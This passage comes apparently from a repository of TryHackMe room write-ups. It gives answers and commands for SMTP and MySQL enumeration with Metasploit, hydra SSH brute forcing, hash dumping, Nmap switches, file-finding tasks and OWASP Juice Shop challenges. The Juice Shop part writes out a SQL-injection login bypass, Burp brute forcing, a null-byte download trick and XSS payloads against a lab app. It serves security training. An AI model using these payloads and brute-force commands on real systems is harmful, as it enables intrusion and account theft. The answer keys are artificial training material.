	- `options`

- Have a look through the options, does everything seem correct? What is the option we need to set?

	- `rhosts`

- Set that to the correct value for your target machine. Then run the exploit. What's the system mail name?

	- `polosmtp.****`

- What Mail Transfer Agent (MTA) is running the SMTP server? This will require some external research.

	- `*******`

- Good! We've now got a good amount of information on the target system to move onto the next stage. Let's search for the module `smtp_enum`, what's it's full module name?

	- `search smtp_enum`
	- `**********/*******/smtp/smtp_enum`

- What option do we need to set to the wordlist's path?

	- `user_file`

- Once we've set this option, what is the other essential paramater we need to set?

	- `RHOSTS`

- Now, set the THREADS parameter to 16 and run the exploit, this may take a few minutes, so grab a cup of tea, coffee, water. Keep yourself hydrated!

	  no answer needed

- Okay! Now that's finished, what username is returned?

	- `******************`

- What is the password of the user we found during our enumeration stage?

	- `hydra -t 16 -l USERNAME -P /usr/share/wordlists/rockyou.txt -vV <TARGET_IP> ssh`
	- `**********`

- Great! Now, let's SSH into the server as the user, what is contents of smtp.txt

	- `ssh USERNAME@<TARGET_IP>`
	- `cat smtp.txt`
	- `******************************************`

- What type of software is MySQL?

	- `relational database management system`

- What language is MySQL based on?

	- `sql`

- What communication model does MySQL use?

	- `client-server`

- What is a common application of MySQL?

	- `back end database`

- What major social network uses MySQL as their back-end database? This will require further research.

	- `Facebook`

- As always, let's start out with a port scan, so we know what port the service we're trying to attack is running on. What port is MySQL using?

	- `nmap -a -p- <TARGET_IP>`
	- `3***`

- Good, now- we think we have a set of credentials. Let's double check that by manually connecting to the MySQL server. We can do this using the command "mysql -h [IP] -u [username] -p"

	  no answer needed


- Okay, we know that our login credentials work. Lets quit out of this session with "exit" and launch up Metasploit.

	  no answer needed

- We're going to be using the `mysql_sql` module. Search for, select and list the options it needs. What three options do we need to set? (in descending order).

	- `password/rhosts/username`

- Run the exploit. By default it will test with the "select module()" command, what result does this give you?

	- `*.7.29-0ubuntu0.**.**.*`

- Great! We know that our exploit is landing as planned. Let's try to gain some more ambitious information. Change the "sql" option to "show databases". how many databases are returned?

	- `set sql show databases`
	- `run`
	- `*`

- First, let's search for and select the "mysql_schemadump" module. What's the module's full name?

	- `**********/*******/mysql/mysql_schemadump`

-  Great! Now, you've done this a few times by now so I'll let you take it from here. Set the relevant options, run the exploit. What's the name of the last table that gets dumped?

	- `x$waits_global_**_********`

- Awesome, you have now dumped the tables, and column names of the whole database. But we can do one better... search for and select the `mysql_hashdump` module. What's the module's full name?

	- `**********/*******/mysql/mysql_hashdump`

- Again, I'll let you take it from here. Set the relevant options, run the exploit. What non-default user stands out to you?

	- `Carl`

- What is the user/hash combination string?

	- `Carl:*EA031893AA21444B17**************************`

- Now, we need to crack the password! Let's try John the Ripper against it using: "john hash.txt" what is the password of the user we found? 

	- `******`

- What's the contents of MySQL.txt

	- `ssh USER@<TARGET_IP>`, `yes` and enter the password.
	- `ls`
	- `cat MySQL.txt`
	- `**********************************************`

- Congratulations! You did it!

	  no answer needed





================================================
FILE: Networking/README.md
================================================
# Networking

- How many categories of IPv4 addresses are there?

	- `5`

- Which type is for research? *Looking for a letter rather than a number here

	- `e`

- How many private address ranges are there?

	- `3`

- Which private range is typically used by businesses?

	- `a`

- There are two common default private ranges for home routers, what is the first one?

	- `192.168.0.0`

- How about the second common private home range?

	- `192.168.1.0`

- How many addresses make up a typical class C range? Specifically a /24 

	- `256`

- Of these addresses two are reserved, what is the first address typically reserved as?

	- `network`

- The very last address in a range is typically reserved as what address type?

	- `broadcast`

- A third predominant address type is typically reserved for the router, what is the name of this address type?

	- `gateway`

- Which address is reserved for testing on individual computers?

	- `127.0.0.1`

- A particularly unique address is reserved for unroutable packets, what is that address? This can also refer to all IPv4 addresses on the local machine.

	- `0.0.0.0`

- 1001 0010

	- `146`

- 0111 0111

	- `119`

- 1111 1111

	- `255`

- 1100 0101

	- `197`

- 1111 0110

	- `246`

- 0001 0011

	- `19`

- 1000 0001

	- `129`

- 0011 0001

	- `49`

- 0111 1000

	- `120`

- 1111 0000

	- `240`

- 0011 1011

	- `59`

- 0000 0111

	- `7`

- 238

	- `11101110`

- 34

	- `00100010`

- 123

	- `01111011`

- 50

	- `00110010`

- 255

	- `11111111`

- 200

	- `11001000`

- 10

	- `00001010`

- 138

	- `10001010`

- 1

	- `00000001`

- 13

	- `00001011`

- 250

	- `11111010`

- 114

	- `01110010`

- 10.240.1.1

	- `a`

- 150.10.15.0

	- `b`

- 192.14.2.0

	- `c`

- 148.17.9.1

	- `b`

- 193.42.1.1

	- `c`

- 126.8.156.0

	- `a`

- 220.200.23.1

	- `c`

- 230.230.45.58

	- `d`

- 177.100.18.4

	- `b`

- 119.18.45.0

	- `a`

- 117.89.56.45

	- `a`

- 215.45.45.0

	- `c`







================================================
FILE: Ninja-Skills/README.md
================================================
# Ninja Skills

- Which of the above files are owned by the best-group group(enter the answer separated by spaces in alphabetical order)

	- This is our base command: `find / -type f \( -name 8V2L -o -name bny0 -o -name c4ZX -o -name D8B3 -o -name FHl1 -o -name oiMO -o -name PFbD -o -name rmfX -o -name SRSq -o -name uqyw -o -name v2Vb -o -name X1Uy \) 2>>/dev/null`
	- `find / -type f \( -name 8V2L -o -name bny0 -o -name c4ZX -o -name D8B3 -o -name FHl1 -o -name oiMO -o -name PFbD -o -name rmfX -o -name SRSq -o -name uqyw -o -name v2Vb -o -name X1Uy \) 2>>/dev/null | xargs ls -alh`
	- `D8B3 v2Vb`

- Which of these files contain an IP address?

	- `find / -type f \( -name 8V2L -o -name bny0 -o -name c4ZX -o -name D8B3 -o -name FHl1 -o -name oiMO -o -name PFbD -o -name rmfX -o -name SRSq -o -name uqyw -o -name v2Vb -o -name X1Uy \) 2>>/dev/null | xargs grep -Eo "([0-9]{1,3}[\.]){3}[0-9]{1,3}"`
	- `oiMO`

- Which file has the SHA1 hash of 9d54da7584015647ba052173b84d45e8007eba94

	- `find / -type f \( -name 8V2L -o -name bny0 -o -name c4ZX -o -name D8B3 -o -name FHl1 -o -name oiMO -o -name PFbD -o -name rmfX -o -name SRSq -o -name uqyw -o -name v2Vb -o -name X1Uy \) 2>>/dev/null | xargs sha1sum`
	- `c4ZX`

- Which file contains 230 lines?

	- The solution is `bny0`, but this file is not shown on the ls output. I'm doing something wrong?

- Which file's owner has an ID of 502?

	- `find / -type f \( -name 8V2L -o -name bny0 -o -name c4ZX -o -name D8B3 -o -name FHl1 -o -name oiMO -o -name PFbD -o -name rmfX -o -name SRSq -o -name uqyw -o -name v2Vb -o -name X1Uy \) 2>>/dev/null | xargs ls -ln`
	- `X1Uy`

- Which file is executable by everyone?

	- `find / -type f \( -name 8V2L -o -name bny0 -o -name c4ZX -o -name D8B3 -o -name FHl1 -o -name oiMO -o -name PFbD -o -name rmfX -o -name SRSq -o -name uqyw -o -name v2Vb -o -name X1Uy \) 2>>/dev/null | xargs ls -la`
	- `8V2L`








================================================
FILE: Nmap/README.md
================================================
# Nmap

- Deploy the attached VM

	  no answer needed

- What networking constructs are used to direct traffic to the right application on a server?

	- `ports`

- How many of these are available on any network-enabled computer?

	- `65535`

- [Research] How many of these are considered "well-known"? (These are the "standard" numbers mentioned in the task)

	- `1024`

- What is the first switch listed in the help menu for a 'Syn Scan' (more on this later!)?

	- `-sS`

- Which switch would you use for a "UDP scan"?

	- `-sU`

- If you wanted to detect which operating system the target is running on, which switch would you use?

	- `-O`

- Nmap provides a switch to detect the version of the services running on the target. What is this switch?

	- `-sV`

- The default output provided by nmap often does not provide enough information for a pentester. How would you increase the verbosity?

	- `-v`

- Verbosity level one is good, but verbosity level two is better! How would you set the verbosity level to two?
(Note: it's highly advisable to always use at least this option)

	- `-vv`

- We should always save the output of our scans -- this means that we only need to run the scan once (reducing network traffic and thus chance of detection), and gives us a reference to use when writing reports for clients.
What switch would you use to save the nmap results in three major formats?

	- `-oA`

- What switch would you use to save the nmap results in a "normal" format?

	- `-oN`

- A very useful output format: how would you save results in a "grepable" format?

	- `-oG`

- Sometimes the results we're getting just aren't enough. If we don't care about how loud we are, we can enable "aggressive" mode. This is a shorthand switch that activates service detection, operating system detection, a traceroute and common script scanning.
How would you activate this setting?

	- `-A`

- Nmap offers five levels of "timing" template. These are essentially used to increase the speed your scan runs at. Be careful though: higher speeds are noisier, and can incur errors!
How would you set the timing template to level 5?

	- `-t5`

- We can also choose which port(s) to scan.
How would you tell nmap to only scan port 80?

	- `-p 80`

- How would you tell nmap to scan ports 1000-1500?

	- `-p 1000-1500`

- A very useful option that should not be ignored:
How would you tell nmap to scan all ports?

	- `-p-`

- How would you activate a script from the nmap scripting library (lots more on this later!)?

	- `--script`

- How would you activate all of the scripts in the "vuln" category?

	- `--script=vuln`

- Read the Scan Types Introduction.

	  no answer needed

- Which RFC defines the appropriate behaviour for the TCP protocol?

	- `RFC 793`

- If a port is closed, which flag should the server send back to indicate this?

	- `rst`

- There are two other names for a SYN scan, what are they?

	- `Half-open,stealth`

- Can Nmap use a SYN scan without Sudo permissions (Y/N)?

	- `N`

- If a UDP port doesn't respond to an Nmap scan, what will it be marked as?

	- `open|filtered`

- When a UDP port is closed, by convention the target should send back a "port unreachable" message. Which protocol would it use to do so?

	- `icmp`

- Which of the three shown scan types uses the URG flag?

	- `Xmas`

- Why are NULL, FIN and Xmas scans generally used?

	- `firewall evasion`

- Which common OS may respond to a NULL, FIN or Xmas scan with a RST for every port?

	- `Microsoft Windows`

- How would you perform a ping sweep on the 172.16.x.x network (Netmask: 255.255.0.0) using Nmap? (CIDR notation)

	- `nmap -sn 172.16.0.0/16`

- What language are NSE scripts written in?

	- `Lua`

- Which category of scripts would be a very bad idea to run in a production environment?

	- `intrusive`

- What optional argument can the ftp-anon.nse script take?

	- `maxlist`

- Search for "smb" scripts in the /usr/share/nmap/scripts/ directory using either of the demonstrated methods.
What is the filename of the script which determines the underlying OS of the SMB server?

	- `ls -lah | grep smb`
	- `smb-os-discovery.nse`

- Read through this script. What does it depend on?

	- `cat smb-os-discovery.nse`, see the line `dependencies = {"smb-brute"}`
	- `smb-brute`

- Which simple (and frequently relied upon) protocol is often blocked, requiring the use of the -Pn switch?

	- `icmp`

- [Research] Which Nmap switch allows you to append an arbitrary length of random data to the end of packets?

	- `--data-length`

- Does the target (<TARGET_IP>) respond to ICMP (ping) requests (Y/N)?

	- `N`

- Perform an Xmas scan on the first 999 ports of the target -- how many ports are shown to be open or filtered?

	- `sudo nmap -sX -vv -Pn -p -999 <TARGET_IP>`
	- `999`

- There is a reason given for this -- what is it?
Note: The answer will be in your scan results. Think carefully about which switches to use -- and read the hint before asking for help!

	- `no responses`

- Perform a TCP SYN scan on the first 10000 ports of the target -- how many ports are shown to be open?

	- `sudo nmap -sS -Pn -vv -p -10000 <TARGET_IP>`
	- `5`

- Open Wireshark and perform a TCP Connect scan against port 80 on the target, monitoring the results. Make sure you understand what's going on.

	  no answer needed

- Deploy the ftp-anon script against the box. Can Nmap login successfully to the FTP server on port 21? (Y/N)

	- `Y`

- Read the conclusion.

	  no answer needed





================================================
FILE: OWASP-Juice-Shop/README.md
================================================
# OWASP Juice Shop


- Deploy the VM attached to this task to get started! You can access this machine by using your browser-based machine, or if you're connected through OpenVPN.

	  no answer needed

- Once the machine has loaded, access it by copying and pasting its IP into your browser; if you're using the browser-based machine, paste the machines IP into a browser on that machine.

	  no answer needed

- What's the Administrator's email address?

	- `admin@juice-sh.op`

- What parameter is used for searching? 

	- `q`

- What show does Jim reference in his review?

	- `star trek`

- Log into the administrator account!

	- Perform a login request when Burp is capturing.

	~~~
		POST /rest/user/login HTTP/1.1
		Host: 10.10.122.116
		User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
		Accept: application/json, text/plain, */*
		Accept-Language: en-US,en;q=0.5
		Accept-Encoding: gzip, deflate
		Content-Type: application/json
		Content-Length: 49
		Origin: http://10.10.122.116
		Connection: close
		Referer: http://10.10.122.116/
		Cookie: io=XFm7soxYpXet9JAKAAAA; language=en; cookieconsent_status=dismiss
		{"email":"email@email.org","password":"password"}
	~~~
	
	- We change this request in:
	~~~
		POST /rest/user/login HTTP/1.1
		Host: 10.10.122.116
		User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
		Accept: application/json, text/plain, */*
		Accept-Language: en-US,en;q=0.5
		Accept-Encoding: gzip, deflate
		Content-Type: application/json
		Content-Length: 49
		Origin: http://10.10.122.116
		Connection: close
		Referer: http://10.10.122.116/
		Cookie: io=XFm7soxYpXet9JAKAAAA; language=en; cookieconsent_status=dismiss
		{"email":"' OR 1=1--","password":"password"}
	~~~
	- And forward this request.
	- `32***0f21372b*******608************0e02a`

- Log into the Bender account!

	- Capture another login request or change the previous one to this:
	~~~
		POST /rest/user/login HTTP/1.1
		Host: 10.10.122.116
		User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
		Accept: application/json, text/plain, */*
		Accept-Language: en-US,en;q=0.5
		Accept-Encoding: gzip, deflate
		Content-Type: application/json
		Content-Length: 45
		Origin: http://10.10.122.116
		Connection: close
		Referer: http://10.10.122.116/
		Cookie: io=XFm7soxYpXet9JAKAAAA; language=en; cookieconsent_status=dismiss;
		{"email":"bender@juice-sh.op'--","password":"edededededed"}
	~~~
	- `fb***762a3c*******9320************d4066`

- Bruteforce the Administrator account's password!

	- For the payload, we will be using the best1050.txt from Seclists. (Which can be installed via: `apt-get install seclists`)
	- You can load the list from `/usr/share/seclists/Passwords/Common-Credentials/best1050.txt`
	- Copy another new login request, right click and Send to Intruder.
	- Change the email to `admin@juice-sh.op`.
	- Clear all the `§` symbols and add them only to the password field.
	- Load the list into BurpSuite and Start the Attack.
	- See where request (into the results tab) has `200` as Status.
	- *Tips* On the above bar of results tab you can filter results hiding 3xx, 4xx, and 5xx response code.
	- `***10d06d*******7cd809************f1ac0e`

- Reset Jim's password!

	- Logout
	- Reset Jim's password
	- `094fb***48e52*******7d05************7257`

- Access the Confidential Document!

	- Navigate to the About Us page, and hover over the "Check out our terms of use".
	- The link is `something/ftp/legal.md`
	- The `/ftp/` folder is publicly exposed!
	- Download all the files in that folder.
	- Go to home and access the flag.
	- `edf9*812*******c5fee***************50c5b`

- Log into MC SafeSearch's account!

	- `mc.safesearch@juice-sh.op`, `Mr. N00dles`
	- `66bd*ffad9e6*******003f************5d7f0`

- Download the Backup file!

	- Add the poison NULL byte to the file you would like to download.
	- e.g. `http:<TARGET_IP>/ftp/file.md.bak%2500.md`
	- `b**********579e85*06fee************13795`

- Access the administration page!

	- Open the file `/main-es2015.js`.
	- You will find a path called `administration`.
	- 403
	- Log in as admin.
	- Go to `/administration` and grab the flag.
	- `946*79936********82200************6629a0`

- View another user's shopping basket!

	- Click on `your Basket`. Capture the request with Burp.
	- Capture `GET /rest/basket/1 HTTP/1.1` request.
	- Change the number id from 1 to 2 and forward the request.
	- `41b9*7a36*******4f0ba************ce52121`

- Remove all 5-star reviews!

	- Navigate to the `http://10.10.202.127/#/administration` page again and click the bin icon next to the review with 5 stars!
	- `50c97*cc*******446d61c************2266ef`

- Perform a DOM XSS!
	
	- Input this into the search bar `<iframe src="javascript:alert('xss')">`
	- `9aa*******c30d0*a1f5bb************efe0bf`

- Perform a persistent XSS!

	- Select `Account`, then `Security and Privacy` and then `Last Login IP`.
	- Select `logout` while capturing packets.
	- Add to the request the header `True-Client-IP: <iframe src="javascript:alert(`xss`)">`
	- `149aa*c*******a8a9314***********dc5f156`

- Perform a reflected XSS!

	- Login into the admin account and navigate to the `Order History` page.
	- From there you will see a "Truck" icon, clicking on that will bring you to the track result page. You will also see that there is an id paired with the order.
	- We will use the iframe XSS, <iframe src="javascript:alert(`xss`)">, in the place of the `5267-f73dcd000abcc353`
	- Refresh the page.
	- `23cefe*********9295b261***********60a0`

- Access the /#/score-board/ page

	- `7e***174*****baa03a7************2f72d*6e`


================================================
FILE: OWASP-Juice-Shop/ftp/acquisitions.md
================================================
# Planned Acquisitions

> This document is confidential! Do not distribute!

Our company plans to acquire several competitors within the next year.
This will have a significant stock market impact as we will elaborate in
detail in the following paragraph:

Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy
eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam
voluptua. At vero eos et accusam et justo duo dolores et ea rebum. Stet
clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit
amet. Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam
nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat,
sed diam voluptua. At vero eos et accusam et justo duo dolores et ea
rebum. Stet clita kasd gubergren, no sea takimata sanctus est Lorem
ipsum dolor sit amet.

Our shareholders will be excited. It's true. No fake news.


================================================
FILE: OWASP-Juice-Shop/ftp/announcement_encrypted.md
================================================
101090574497118278254226137710017536639773765857153659738605695408072928921910711582659759064103895163344910061580267891538780938737327673897972978699674139013240694666677219690225005597991791021342097443863690867521631887102533624124424473920634357284205977972749676866709367930672889175167124357216863288204
84678702049964035127896877368302320193886098455768332363432424605514741777549598765352488664406159741902969536313365615807705807342321003104495852655512915130050188765284239466210113597760303699022312173073258712597100702393539916597625283858275741383340518666315900387591781569580279341955960362957888697189
52738942978973710444499335094212648235649553500556751113739197966703795929812811872109367849897530719672461613584621227749748743159637124450463765170082743722510939526614783513725649879214102056611979549051428017108970249709601910597007002954025453070108883580204888981915050470487690016926730906263560750604
38842157875943079188185445304579668744732765285296229312069079189604026634975232902567591019360806090163616843896933954511057774277012101804314476185295849622146563538202579085309181093715566609433861522817268155952508279805952520521294438960392472508617643577732121234835368685304804224698356904865781567168
62104638576773623684551385680049598287592117406425744400809134407903643583666708272482545534671166621770408289170731318094044339124299554089107205698606709373381797598251478288011978691275803110552617887693282137095804434097831282225624540169317691447722170457236271134204498185177779451706984833572912654051
11770529878376537392176023801616332054206586403317029204872097283879013592544664155137424315373816381246245926074616104633031546609190393572753761315066067991349063603931902635434527813570053874510249820710406986615227814886395097457348384557242669684705465398169425608330443811691975867383392790839381050813
49753325574865445089772669052891000483752580109613466912771010336607847769281978866460532307952123513083663621765806989683259320224009128424843195798482983529142744938925210736045258659747179875853414003793568639616690520031318358365189672329709227585258829062097623252983992310067500221135568184405349569803
127834769478164514448657989368832148725913788717323254960364403479177512658943589475906085232130280919139734603553084820947341340394949631963818705830501656689270396348803462168537526657806923603818160774689566455932951541886098644908675874178795070128486781922916272919790827233534695358511424166456147425848
127834769478164514448657989368832148725913788717323254960364403479177512658943589475906085232130280919139734603553084820947341340394949631963818705830501656689270396348803462168537526657806923603818160774689566455932951541886098644908675874178795070128486781922916272919790827233534695358511424166456147425848
38842157875943079188185445304579668744732765285296229312069079189604026634975232902567591019360806090163616843896933954511057774277012101804314476185295849622146563538202579085309181093715566609433861522817268155952508279805952520521294438960392472508617643577732121234835368685304804224698356904865781567168
78574888085059728932016020355051254845057542027798831380644526738207017271720961248553305239460318463410612543366391692703942160351564248680419156747819835151192908776085072958707819994156968550260014725465711644134609796499853562476328005416616399377266814386729970069757327077942632748554937325751155612617
127834769478164514448657989368832148725913788717323254960364403479177512658943589475906085232130280919139734603553084820947341340394949631963818705830501656689270396348803462168537526657806923603818160774689566455932951541886098644908675874178795070128486781922916272919790827233534695358511424166456147425848
91680348915962244635467280702269071962770849234751203908734508507942563330754312317275898786442433413770569887551943099443991331261278291587321076702444424684302121767202425952384762689618469717236791027569005894172183324909306235069613007499705735183698684035052271555030322776650321910241652531845417895375
137750765227550514225702921526079247864945181950754004191279860398297269164774487403668182634889775633528548211091913121574076937323802336081931630718919853334596352699339183080539107020795995910595341832851681150580329849056595009984216610828839413881738202804763231117980603408698112207358492939114134102890
100611322685874878848754240661495615711646777488831419813503119374511960510535820058228889027763435983724546057947590061551257712702713723012996004563390427396300527089392464643553160988799916035179912848793338088594261441002497827716739663270148287782372738753596682707263125663143832871706325505355756447001
137750765227550514225702921526079247864945181950754004191279860398297269164774487403668182634889775633528548211091913121574076937323802336081931630718919853334596352699339183080539107020795995910595341832851681150580329849056595009984216610828839413881738202804763231117980603408698112207358492939114134102890
127834769478164514448657989368832148725913788717323254960364403479177512658943589475906085232130280919139734603553084820947341340394949631963818705830501656689270396348803462168537526657806923603818160774689566455932951541886098644908675874178795070128486781922916272919790827233534695358511424166456147425848
18928824824404618546081435030209083267268489418743716085092360940821456571058073610038003667728852565249050914551688677362605878103840934651434075140132384308995728357238735685855259984296884208528911376198941346901774040385519327046561334322491884513919658871624028711808624019905185426957108386637998884956
89938926398532069428812104328780145146529955589041303637458047108510147242848858084348503331879024858042858223391023349608940378566503675271975018311323405400229380745402897172146773327451772982575450766174873446956308213715360627660031724395955295029554684417839579655298468210873009910475123233741237090305
103630771034809064295441042712205127833809955305556920690972002869265075787873781482161093268773250419927777412343784143034271729308682272008666321444924803312371930529514364913362512578918096589118490719120677463058362826499845020817215299857557214101939014810891895109030323970769897901918515344595778389062
103630771034809064295441042712205127833809955305556920690972002869265075787873781482161093268773250419927777412343784143034271729308682272008666321444924803312371930529514364913362512578918096589118490719120677463058362826499845020817215299857557214101939014810891895109030323970769897901918515344595778389062
38833281618036723563519523269915501404504122412601861835937190053524987526470353463310337973752295197342651665455542594923575611545741518488946817130825965880412102171689521497972473025677534954763351126697193132573327897590307610029793578750294186144012826149516640482744915199576337825433777903016408433631
38842157875943079188185445304579668744732765285296229312069079189604026634975232902567591019360806090163616843896933954511057774277012101804314476185295849622146563538202579085309181093715566609433861522817268155952508279805952520521294438960392472508617643577732121234835368685304804224698356904865781567168
19983809701621831135088221996221784300998234690565487842061647521986793674239632248612015804290992839590280719557841141355098145874855168937833787271184484791582836089661751365862495651088974077048520938236610785599994938659130037316606004207376328174173906815136855549837338097232904522744461148710841694256
137750765227550514225702921526079247864945181950754004191279860398297269164774487403668182634889775633528548211091913121574076937323802336081931630718919853334596352699339183080539107020795995910595341832851681150580329849056595009984216610828839413881738202804763231117980603408698112207358492939114134102890
127834769478164514448657989368832148725913788717323254960364403479177512658943589475906085232130280919139734603553084820947341340394949631963818705830501656689270396348803462168537526657806923603818160774689566455932951541886098644908675874178795070128486781922916272919790827233534695358511424166456147425848
11770529878376537392176023801616332054206586403317029204872097283879013592544664155137424315373816381246245926074616104633031546609190393572753761315066067991349063603931902635434527813570053874510249820710406986615227814886395097457348384557242669684705465398169425608330443811691975867383392790839381050813
5773835752867135742860586525565658315475915068619521277950089759587819563536944805510903146409067987340304998621501840196103691201360565427014426065168921252922005079427002966050825114334985040879902482157259153063546013516640746407961509405884392134856989881966012190857396495365396996099827624027096856061
84678702049964035127896877368302320193886098455768332363432424605514741777549598765352488664406159741902969536313365615807705807342321003104495852655512915130050188765284239466210113597760303699022312173073258712597100702393539916597625283858275741383340518666315900387591781569580279341955960362957888697189
24967305915147448501714803815131082697651323959012327163948924800842151459753928809004140779720650895584635121993194057082316592998717502814441305726429929671294365807644588277045222305190426743608262305501915288920161172031572236684644966814452620598419243254600230442500564630612310314865158125155993279156
137750765227550514225702921526079247864945181950754004191279860398297269164774487403668182634889775633528548211091913121574076937323802336081931630718919853334596352699339183080539107020795995910595341832851681150580329849056595009984216610828839413881738202804763231117980603408698112207358492939114134102890
11770529878376537392176023801616332054206586403317029204872097283879013592544664155137424315373816381246245926074616104633031546609190393572753761315066067991349063603931902635434527813570053874510249820710406986615227814886395097457348384557242669684705465398169425608330443811691975867383392790839381050813
52458668072092359099572108019688314909460517282226151698013741623556255207992948939250727966920817920960977212344926030170527263259934680773822318577993537593474004331796735779818411050031648326153091909479292158664736917243966609986114681682166012412829967640968575520470338189028508757061094572805991595735
11770529878376537392176023801616332054206586403317029204872097283879013592544664155137424315373816381246245926074616104633031546609190393572753761315066067991349063603931902635434527813570053874510249820710406986615227814886395097457348384557242669684705465398169425608330443811691975867383392790839381050813
49740426748108533909028738928800005685423583105798842358696181654665066476207905072826596078857375152352078450414793186679504045534280107131287553870866610369761316640633658666307511686762629793489885970856174798918997371917883210645928652010439798725263645500538424637864213418871433693091957368054381608862
127834769478164514448657989368832148725913788717323254960364403479177512658943589475906085232130280919139734603553084820947341340394949631963818705830501656689270396348803462168537526657806923603818160774689566455932951541886098644908675874178795070128486781922916272919790827233534695358511424166456147425848
65645897586164484901084724785868138215545914354940822394405500808403468724441166236806972579892634007617499335208431430950189476291370052338014365086681345565540227225026983516086855968280037759361688810908512159517949185685951322885323134278372517254106593980281408943359660796097314972401388661496052678170
18928824824404618546081435030209083267268489418743716085092360940821456571058073610038003667728852565249050914551688677362605878103840934651434075140132384308995728357238735685855259984296884208528911376198941346901774040385519327046561334322491884513919658871624028711808624019905185426957108386637998884956
65645897586164484901084724785868138215545914354940822394405500808403468724441166236806972579892634007617499335208431430950189476291370052338014365086681345565540227225026983516086855968280037759361688810908512159517949185685951322885323134278372517254106593980281408943359660796097314972401388661496052678170
84678702049964035127896877368302320193886098455768332363432424605514741777549598765352488664406159741902969536313365615807705807342321003104495852655512915130050188765284239466210113597760303699022312173073258712597100702393539916597625283858275741383340518666315900387591781569580279341955960362957888697189
24967305915147448501714803815131082697651323959012327163948924800842151459753928809004140779720650895584635121993194057082316592998717502814441305726429929671294365807644588277045222305190426743608262305501915288920161172031572236684644966814452620598419243254600230442500564630612310314865158125155993279156
11770529878376537392176023801616332054206586403317029204872097283879013592544664155137424315373816381246245926074616104633031546609190393572753761315066067991349063603931902635434527813570053874510249820710406986615227814886395097457348384557242669684705465398169425608330443811691975867383392790839381050813
11675981414759665295010851776137775470877253011001681076726345813117939815351538535060726679728644088659826180076112223778718346887910671073937478993452970582487394529314293194218562399989624657030533334628295931908927731856032454378197733669575085712717312567753747298532863748983142720551911064842824257110
38842157875943079188185445304579668744732765285296229312069079189604026634975232902567591019360806090163616843896933954511057774277012101804314476185295849622146563538202579085309181093715566609433861522817268155952508279805952520521294438960392472508617643577732121234835368685304804224698356904865781567168
65645897586164484901084724785868138215545914354940822394405500808403468724441166236806972579892634007617499335208431430950189476291370052338014365086681345565540227225026983516086855968280037759361688810908512159517949185685951322885323134278372517254106593980281408943359660796097314972401388661496052678170
127834769478164514448657989368832148725913788717323254960364403479177512658943589475906085232130280919139734603553084820947341340394949631963818705830501656689270396348803462168537526657806923603818160774689566455932951541886098644908675874178795070128486781922916272919790827233534695358511424166456147425848
11770529878376537392176023801616332054206586403317029204872097283879013592544664155137424315373816381246245926074616104633031546609190393572753761315066067991349063603931902635434527813570053874510249820710406986615227814886395097457348384557242669684705465398169425608330443811691975867383392790839381050813
103716234615066740742287732486270347784704216803123045176248858365880506370198794628326293960244549271421667142830248537766094424595418837041101469667086990294539636383070949265340204416359700557605502998688832449702645487624019927346280514745315004199934611452955346467028612357088966209448576095146921772095
64506685090966171317400245036615838614451421799765252790527506576691423528155178381616718430230924971355376611122518398685681317988756748210524555233426201514738647456481983925917094458063889081559108119985717164753127864103327995060719890797690210124943176998503994632839576539302651368490981633081025097216
64506685090966171317400245036615838614451421799765252790527506576691423528155178381616718430230924971355376611122518398685681317988756748210524555233426201514738647456481983925917094458063889081559108119985717164753127864103327995060719890797690210124943176998503994632839576539302651368490981633081025097216
137750765227550514225702921526079247864945181950754004191279860398297269164774487403668182634889775633528548211091913121574076937323802336081931630718919853334596352699339183080539107020795995910595341832851681150580329849056595009984216610828839413881738202804763231117980603408698112207358492939114134102890
62104638576773623684551385680049598287592117406425744400809134407903643583666708272482545534671166621770408289170731318094044339124299554089107205698606709373381797598251478288011978691275803110552617887693282137095804434097831282225624540169317691447722170457236271134204498185177779451706984833572912654051
65645897586164484901084724785868138215545914354940822394405500808403468724441166236806972579892634007617499335208431430950189476291370052338014365086681345565540227225026983516086855968280037759361688810908512159517949185685951322885323134278372517254106593980281408943359660796097314972401388661496052678170
127834769478164514448657989368832148725913788717323254960364403479177512658943589475906085232130280919139734603553084820947341340394949631963818705830501656689270396348803462168537526657806923603818160774689566455932951541886098644908675874178795070128486781922916272919790827233534695358511424166456147425848
32314742799901071101384886133428561762878684756755055439399732610803575045421300506914675729938880370731413301277310516935885693351870795392533527241001962621829217474952231917355098394642342615154976969537535852030993913375029932439321850592751196788883059868908730597859174877779449712299285641554658928995
103630771034809064295441042712205127833809955305556920690972002869265075787873781482161093268773250419927777412343784143034271729308682272008666321444924803312371930529514364913362512578918096589118490719120677463058362826499845020817215299857557214101939014810891895109030323970769897901918515344595778389062
103630771034809064295441042712205127833809955305556920690972002869265075787873781482161093268773250419927777412343784143034271729308682272008666321444924803312371930529514364913362512578918096589118490719120677463058362826499845020817215299857557214101939014810891895109030323970769897901918515344595778389062
133604854587983782426336851966055180766137238380213738755612754580571873477141746262470197566499595456763533768810119497776657303036926536439596312800476267916952408133055363765789592858440156479910321961287737605889088257914313717722526470918375313652500001060195495792645858466367996395114867945227571389228
38842157875943079188185445304579668744732765285296229312069079189604026634975232902567591019360806090163616843896933954511057774277012101804314476185295849622146563538202579085309181093715566609433861522817268155952508279805952520521294438960392472508617643577732121234835368685304804224698356904865781567168
62104638576773623684551385680049598287592117406425744400809134407903643583666708272482545534671166621770408289170731318094044339124299554089107205698606709373381797598251478288011978691275803110552617887693282137095804434097831282225624540169317691447722170457236271134204498185177779451706984833572912654051
137750765227550514225702921526079247864945181950754004191279860398297269164774487403668182634889775633528548211091913121574076937323802336081931630718919853334596352699339183080539107020795995910595341832851681150580329849056595009984216610828839413881738202804763231117980603408698112207358492939114134102890
100611322685874878848754240661495615711646777488831419813503119374511960510535820058228889027763435983724546057947590061551257712702713723012996004563390427396300527089392464643553160988799916035179912848793338088594261441002497827716739663270148287782372738753596682707263125663143832871706325505355756447001
11770529878376537392176023801616332054206586403317029204872097283879013592544664155137424315373816381246245926074616104633031546609190393572753761315066067991349063603931902635434527813570053874510249820710406986615227814886395097457348384557242669684705465398169425608330443811691975867383392790839381050813
